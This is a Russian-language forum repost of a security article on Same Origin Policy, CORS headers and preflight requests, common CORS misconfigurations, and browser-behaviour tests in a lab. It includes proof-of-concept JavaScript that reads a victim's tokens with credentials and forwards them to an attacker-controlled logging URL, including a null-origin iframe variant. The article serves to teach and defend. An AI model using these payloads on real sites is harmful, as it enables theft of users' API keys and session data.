Курс на мисконфиги. Как поймать проблемный CORS на проде

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
В этой статье мы расскажем, как работает технология SOP, которая защищает твой браузер от вредоносных скриптов. Разберем основные виды мисконфигов и составим шпаргалки с разными случаями поведения CORS. В конце разберем пример и проверим работоспособность PoC.

SAME ORIGIN POLICY​

SOP (Same Origin Policy) — это политика безопасности браузера, которая контролирует взаимодействие между сайтами. Она нужна для предотвращения кражи данных пользователя вредоносным скриптом.

До внедрения SOP, данные крали так:
  1. Атакующий заставляет жертву перейти на вредоносный сайт с уже подготовленным эксплоитом на JavaScript.
  2. Жертва перешла по ссылке, и от ее имени отправляется запрос на сайт, содержащий ее важные данные.
  3. Ответ от сайта читается скриптом и передается на сервер злоумышленника.
  4. Злоумышленник получает личные данные, которые может использовать для развития атаки.
Проблема в том, что когда браузер отправляет HTTP-запрос из одного источника в другой, cookie-файлы, относящиеся к другому домену, тоже отправляются в запросе. Это значит, что ответ будет сгенерирован в рамках сеанса пользователя и будет включать в себя доступные только ему данные. Чтобы предотвратить такое поведение и существует SOP.

Межсайтовые взаимодействия обычно делят на три категории:
  1. Межсайтовые записи. Как правило, допускаются. Это могут быть ссылки, редиректы, формы, отправка запросов через fetch и так далее. Некоторые «сложные» запросы требуют pre-flight (предварительного запроса) но об этом поговорим отдельно.
  2. Межсайтовое встраивание. Обычно разрешено. Например, для подгрузки ресурсов через теги img, video, frame и аналогичные им.
  3. Межсайтовое чтение. Как правило, не допускаются, но доступ к чтению часто просачивается путем встраивания. Например, ты можешь прочитать ширину и высоту встроенного изображения, получить результат действия встроенного сценария или проверить доступность встроенного ресурса.
В качестве иллюстрации отправим несколько запросов со страницы http://discovery-lab.su/index.html. Реакция SOP приведена в таблице ниже.

table1_ietxFrp.png


А вот схема, показывающая, из чего состоит заголовок Origin.
origin.png



CROSS-ORIGIN RESOURCE SHARING (CORS)​

Раньше сайтам требовалось взаимодействовать друг с другом, но SOP блокировала множество таких запросов. Тогда люди придумали механизм CORS (Cross-Origin Resource Sharing), который предназначался для смягчения политики SOP.

Вот чуть более подробное описание из справки Mozilla:
«Cross-Origin Resource Sharing — механизм, использующий дополнительные HTTP-заголовки, чтобы дать возможность агенту пользователя получать разрешения на доступ к выбранным ресурсам с сервера на источнике (домене), отличном от того, что сайт использует в данный момент. Говорят, что агент пользователя делает запрос с другого источника (cross-origin HTTP request), если источник текущего документа отличается от запрашиваемого ресурса доменом, протоколом или портом».
Нажмите, чтобы раскрыть...
Теперь давай разберемся с двумя заголовками, на которые предстоит чаще всего обращать внимание: Access-Control-Allow-Origin и Access-Control-Allow-Credentials.

Access-Control-Allow-Origin​

Заголовок ответа Access-Control-Allow-Origin показывает, с какого источника может быть доступен ответ сервера.

Возможные значения:
  1. Звездочка — говорит браузерам разрешать запрос любого происхождения для доступа к ресурсу (но только для запросов без учетных данных).
  2. <domain> — указывает одно происхождение, с которого можно получать ответ сервера.
  3. null — указывает «нулевое» происхождение. Никогда не добавляй его в белый список! Происхождение для некоторых схем (data:, file:) и документы, доступные через песочницу, определяются как «нулевые».

Access-Control-Allow-Credentials​

В зависимости от заголовков, межсайтовые запросы могут быть переданы без куки или заголовка авторизации. Впрочем, если задана настройка CORS Access-Control-Allow-Credentials: true, то сервер может разрешить чтение ответа, когда передаются куки или заголовок авторизации.

Заметь, это несовместимо с Access-Control-Allow-Origin: *.

Простые и сложные запросы​

Простой запрос – это запрос, удовлетворяющий следующим условиям:
  • использует метод: GET, POST или HEAD;
  • использует толькопростые заголовки из списка ниже.
    • Accept,
    • Accept-Language,
    • Content-Language,
    • Content-Type со значениями application/x-www-form-urlencoded, multipart/form-data и text/plain.
Любой другой запрос считается «сложным». Например, запрос с методом PUT или с HTTP-заголовком API-Key не будет соответствовать условиям.

Принципиальное отличие между простым и сложным запросами — в том, что простой запрос может быть сделан через <form> или <script> без каких‑то специальных методов.

Для сложного запроса мы можем использовать любой HTTP-метод: не только GET/POST, но и PATCH, DELETE и другие.

Некоторое время назад никто не мог даже предположить, что веб‑страница способна делать такие запросы. Так что могут существовать веб‑сервисы, которые рассматривают нестандартный метод как сигнал «Это не браузер!» и учитывать это при проверке прав доступа. Чтобы избежать недопониманий, браузер не делает «сложные» запросы (которые нельзя было сделать в прошлом) сразу. Перед этим он посылает запрос pre-flight, спрашивая разрешения.

Запросы pre-flight​

Запросы pre-flight использует метод OPTIONS. У него нет тела, но есть три заголовка:
  • Origin содержит именно источник (домен, протокол или порт), без пути;
  • Access-Control-Request-Method содержит HTTP-метод «непростого» запроса;
  • Access-Control-Request-Headers предоставляет разделенный запятыми список его «сложных» HTTP-заголовков.
Если сервер согласен принимать такие запросы, то он должен ответить без тела, со статусом 200 и со следующими заголовками:
  • Access-Control-Allow-Origin должен содержать разрешенный источник;
  • Access-Control-Allow-Methods должен содержать разрешенные методы; > Access-Control-Allow-Headers должен содержать список разрешенных заголовков.
Кроме того, в заголовке Access-Control-Max-Age может быть указано количество секунд, на которое нужно кешировать разрешения. Так что браузеру не придется посылать pre-flight для последующих запросов, если разрешение еще действует.

Вот, например, pre-flight запрос на применение метода PUT и пользовательского заголовка Special-Request-Header:
Код: Скопировать в буфер обмена
Код:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
Сервер может вернуть ответ, подобный следующему:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

ЧАСТЫЕ ОШИБКИ КОНФИГУРАЦИИ CORS​

При эксплуатации мисконфигов CORS мы учитываем те же факторы, что и при CSRF-атаках, но дополнительно еще смотрим на заголовки Access-Control-Allow-Origin и Access-Control-Allow-Credentials. Если повезет, мы сможем прочитать ответ сервера, что невозможно при CSRF-атаках.

Разберем мисконфиги CORS, которые я встречал чаще всего:
  1. отражение Origin в ответном заголовке сервера Access-Control-Allow-Origin;
  2. значение null в белом списке;
  3. ошибки парсинга заголовка Origin.

Отражение Origin в ответном заголовке​

Представь, что у тебя огромное приложение. Новые домены появляются каждый день, тебе нужно следить за всеми и своевременно добавлять их в список разрешенных доменов. Стоит упустить пару доменов, и что‑то сломается.

Чтобы избежать поломок, разработчики некоторых приложений идут по простому пути и разрешают доступ из любого другого домена. Один из способов сделать это — прочитать заголовок Origin из запроса и включить в заголовок ответа. Например, рассмотрим приложение, которое получает следующий запрос:
Код: Скопировать в буфер обмена
Код:
GET /get-my-tokens HTTP/1.1
Host: vulnerable.discovery-lab.su
Origin: https://malicious.su
Cookie: sessionid= ...
Ответ сервера:
Код: Скопировать в буфер обмена
Код:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious.su
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Max-Age: 240
...
В заголовках выше указано, что доступ разрешен из запрашивающего домена (malicious.su) и что запросы между источниками могут включать файлы cookie и заголовки авторизации (Access-Control-Allow-Credentials: true). Поэтому запросы будут обрабатываться в сеансе жертвы.

Поскольку приложение отображает произвольные источники в заголовке Access-Control-Allow-Origin, абсолютно любой домен может получить доступ к ресурсам сайта из контролируемого домена от имени жертвы. Если ответ содержит конфиденциальную информацию вроде ключей API или токена CSRF, ты можешь получить ее, разместив на своем веб‑сервере вот такой скрипт:
Код: Скопировать в буфер обмена
Код:
var req = new XMLHttpRequest(); // 1
req.onload = reqListener; // 2
req.open('get','https://vulnerable.discovery-lab.su/get-my-tokens',true); // 3
req.withCredentials = true; // 4
req.send(); // 5
function reqListener() { // 6
    location='/log?key='+this.responseText;
};
Давай разберем, как работает этот скрипт.
  1. Создаем новый объект XMLHttpRequest, который позволяет отправлять HTTP-запросы к серверу и получать ответы на них.
  2. Устанавливаем обработчик события onload, который будет вызываться всякий раз, когда запрос завершится успешно.
  3. Вызываем метод open() у объекта XMLHttpRequest для открытия соединения с сервером, куда идет запрос на получение информации о деталях аккаунта.
  4. Устанавливаем значение true для свойства withCredentials объекта XMLHttpRequest. Это свойство позволит отправлять и получать информацию о cookies между разными доменами при использовании CORS.
  5. Вызываем метод send() объекта XMLHttpRequest для отправки GET-запроса на сервер, указанный в параметре open().
  6. В функции onload (reqListener()) обрабатывается ответ сервера. В параметрах GET-запроса строки заменяются на ответ сервера.
Заметь, переменной location присваивается новое значение, что приведет к перенаправлению пользователя на новую страницу. Ответ, полученный ранее от сервера, передается параметром в функцию log.

Значение null в белом списке​

Иногда для удобства локального тестирования приложения разработчики добавляют происхождение null в белый список. Эта оплошность позволяет злоумышленнику получить доступ к ресурсам сайта из контролируемого домена от имени жертвы.

Процесс эксплуатации и сам скрипт очень похожи на первый случай, но есть одно существенное отличие — запрос должен быть инициирован из схемы data: или file:.
Код: Скопировать в буфер обмена
Код:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable.discovery-lab.su/get-my-tokens',true);
req.withCredentials = true;
req.send();
function reqListener() {
    location='malicious.discovery-lab.su/log?key='+this.responseText;
};
</script>">
</iframe>

Ошибки парсинга заголовка Origin​

Некоторые приложения, работающие с заголовком Origin, используют парсинг на основе регулярных выражений. Рассмотрим пример и увидим импакт, который могут дать криво написанные регулярки. Отправим несколько запросов к сервису с разных источников.

Поддомен sub1:
Код: Скопировать в буфер обмена
Код:
Host: sub1.vulnerable.su
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://sub1.vulnerable.su
Access-Control-Allow-Credentials: true
Поддомен somesub2:

Код: Скопировать в буфер обмена
Код:
Host: somesub2.vulnerable.su
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://somesub2.vulnerable.su
Access-Control-Allow-Credentials: true
Сайт, контролируемый злоумышленником (malicous.com):
Код: Скопировать в буфер обмена
Код:
Host:  malicous.com
HTTP/1.1 200 OK
Из ответов выше можем выяснить, что доступ на чтение к ресурсу могут получить только его поддомены. Представим, что сайт использует регулярку [a-zA-Z0-9]*.vulnerable.com для проверки принадлежности источника.
Если ты не знаком с синтаксисом RegEx, то представь, что страшная строка выше — это что‑то вроде маски, на соответствие которой проверяется строка (то есть домен). Здесь:
  • [a-zA-Z0-9] — любая цифра или буква;
  • звездочка — сопоставляет идущее перед ней выражение от нуля до неограниченного количества раз, столько раз, сколько возможно;
  • точка — cоответствует любому символу, включая символы Unicode (кроме символа конца строки);
  • vulnerable и com — строчки, которые должны присутствовать в проверяемом тексте.
Итого совпадение будет в случае, если сначала идет какое‑то количество цифр и букв (может быть нулевым), потом любой символ, потом vulnerable, снова любой символ и в конце строка com.
Очевидно, что разработчик использовал точку, имея в виду именно символ точки, который бы отделял поддомен. В таком случае точку нужно было экранировать, поставив перед ней слэш (\.), но об этом легко забыть, а приложение будет работать и с ошибкой.
regex.png


Получается, что злоумышленник теперь может зарегистрировать домен maclicousvulnerable.com и получить доступ к ресурсам сайта из контролируемого домена от имени жертвы.

В ПОИСКАХ МИСКОНФИГОВ​

Теперь, когда мы полностью разобрались с механизмом работы CORS и его основными механизмами, приступим к поиску мисконфигов! Для этого мы создали небольшую лабораторию, где ты сможешь проверять работоспособность своих PoC. Код пока закрыт, но позже откроется, и ссылка станет доступна.
Мы отправляли запросы из трех браузеров:
  • Chromium (Version 118.0.5993.117);
  • Mozilla Firefox 121.0;
  • Safari 16.5 Mac Ventura (BrowserStack).
Для упрощения тестирования мы создали три эндпоинта с разными настройками.
table2_PvkfFFR.png


На каждый из эндпоинтов отправляли по запросу GET и POST из интерфейса лабы.
endpoints.png



ТЕСТИРОВАНИЕ​

В исследовании мы рассматривали шесть сценариев, в которых запрос страницы приводит к переходу на другой сайт.
table3_EJvcdgF.png


На скриншоте — поведение CORS при отправке запросов с «неизвестного» источника https://lab.sidneyjob.ru на источник https://discovery-lab.su.
Различаются домены источников


Поведение CORS при отправке запросов с источника https://discovery-lab.su:444 на источник https://discovery-lab.su:443, у которых различается только порт.
Различаются порты источников


Поведение CORS, когда при отправке запросов с http://discovery-lab.su на https://discovery-lab.su отличаются схемы источников.
Различаются схемы источников


Поведение CORS, когда при отправке запросов с https://l3.discovery-lab.su на https://l3-2.discovery-lab.su отличаются поддомены, но корневой домен остается тем же.
Различаются поддомены источников


Поведение CORS, когда при отправке запросов с https://l4.l3.discovery-lab.su на https://l3.discovery-lab.su отличаются уровни поддоменов, то есть запросы идут с домена четвертого уровня на домен третьего уровня, но корневой домен остается тем же.
Различаются уровни поддоменов источников


Поведение CORS, когда запросы идут с https://discovery-lab.su:443 на тот же источник https://discovery-lab.su:443.
Источник обращается сам к себе



РЕЗУЛЬТАТЫ​

Во всех проверенных браузерах CORS реализован одинаково. Впрочем, это не помешало нам найти интересные особенности поведения!

Если сайт использует самоподписанный, чужой или по какой‑то еще причине неверный сертификат, то при переходе на сайт браузер генерирует окно с предупреждением, отговаривая нас переходить на подозрительный ресурс.
Если жертва ни разу не заходила на подозрительный сайт с неверным сертификатом, а скрипт пытается сделать запрос к нему, то возникает вопрос, что же делать? Каждый из браузеров ответил по разному.
В Safari ни один запрос не будет доходить до сайта.
safari-reject.png


В Firefox первый запрос не пройдет, а последующие пройдут.
firefox-reject.png


В Chromium пройдут все запросы без проверки паспорта.
chromium.png



ВЫВОДЫ​

Итак, мы вспомнили, как работает SOP и CORS, посмотрели на возможные мисконфиги и способы их эксплуатации, провели несколько экспериментов и даже вспомнили, как работают регулярки! Если ты разработчик, старайся не допускать подобных оплошностей, а если пентестер, то помоги в этом разработчику!

Источник xakep.ru
Авторы SidneyJob и @tokiakasu
 
Сверху Снизу